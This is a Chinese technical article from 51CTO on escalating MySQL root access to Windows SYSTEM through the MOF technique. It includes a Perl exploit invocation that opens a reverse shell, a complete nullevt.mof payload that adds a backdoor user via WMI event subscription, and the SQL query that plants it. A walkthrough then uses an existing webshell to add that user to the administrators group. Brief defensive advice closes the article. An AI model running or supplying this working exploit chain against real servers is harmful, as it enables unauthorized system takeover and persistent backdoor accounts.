技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究
原創(chuàng)【51CTO.com原創(chuàng)稿件】MySQL Root權(quán)限MOF方法提權(quán)是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱mysql遠(yuǎn)程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:
方法1:運(yùn)行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運(yùn)行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因?yàn)榇斯δ芸赡懿粫峁┰趯淼陌姹竞?,不?yīng)使用。注意使用MOF方法提權(quán)的前提是當(dāng)前Root帳號可以復(fù)制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!
001漏洞利用方法分析
該漏洞的利用前提條件是必須具備mysql的root權(quán)限,在Kingcope公布的0day中公布了一個pl利用腳本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql數(shù)據(jù)庫所在服務(wù)器,mysql口令為空,反彈到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
將以下代碼保存為nullevt.mof文件:
- #pragma namespace("\\\\.\\root\\subscription")
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = "Root\\Cimv2";
- Name = "filtP2";
- Query = "Select * From __InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
2.通過Mysql查詢將文件導(dǎo)入
執(zhí)行以下查詢語句,將上面生成的nullevt.mof導(dǎo)入到c:\windows\system32\wbem\mof\目錄下在windows7中默認(rèn)是拒絕訪問的。導(dǎo)入后系統(tǒng)會自動運(yùn)行,執(zhí)行命令。
- select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002實(shí)戰(zhàn)利用
1.實(shí)驗(yàn)環(huán)境
本次實(shí)驗(yàn)環(huán)境為Windows2003+Apache+PHP,已經(jīng)擁有Webshell權(quán)限。
2.上傳文件到可寫目錄
將nullevt.mof文件上傳到服務(wù)器可寫目錄,例如C:\RECYCLER\,如圖5-4所示。
上傳文件nullevt.mof
3.執(zhí)行命令
配置好中國菜刀,然后通過數(shù)據(jù)庫管理,執(zhí)行查詢命令,在執(zhí)行查詢命令前需要先選擇一下數(shù)據(jù)庫,然后將以下代碼復(fù)制到查詢語句輸入框中,如圖5-5所示。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
執(zhí)行查詢命令
4.查看執(zhí)行結(jié)果
執(zhí)行完畢后需要修改添加用戶命令為將用戶添加到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳并查詢,如圖5-6所示,通過net user查看,果然admin已被添加到系統(tǒng)中。
添加用戶成功
003防范方法
Mysql Root權(quán)限MOF方法提權(quán)其前提條件是能夠?qū)⑸蟼鞯膎ullevt.mof復(fù)制到系統(tǒng)目錄下,例如c:\windows\system32\wbem\mof中,如果無法復(fù)制則會提權(quán)失敗。一般對Windows2003以下操作系統(tǒng)效果較好,Windows2008以上由于保護(hù)機(jī)制,較少能夠成功。因此可以采取以下措施進(jìn)行防范:
1.在程序數(shù)據(jù)庫連接文件中盡量不要使用Root帳號進(jìn)行連接。
2.Root帳號使用強(qiáng)加密方式,采用字母大小寫+數(shù)字+特殊字符,密碼位數(shù)15位以上。
3.對Mysql數(shù)據(jù)庫的mysql數(shù)據(jù)庫目錄權(quán)限嚴(yán)格限制,IIS用戶無法讀寫該文件。
4. 操作系統(tǒng)目錄c:\windows\system32\wbem禁止寫入。
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為51CTO.com】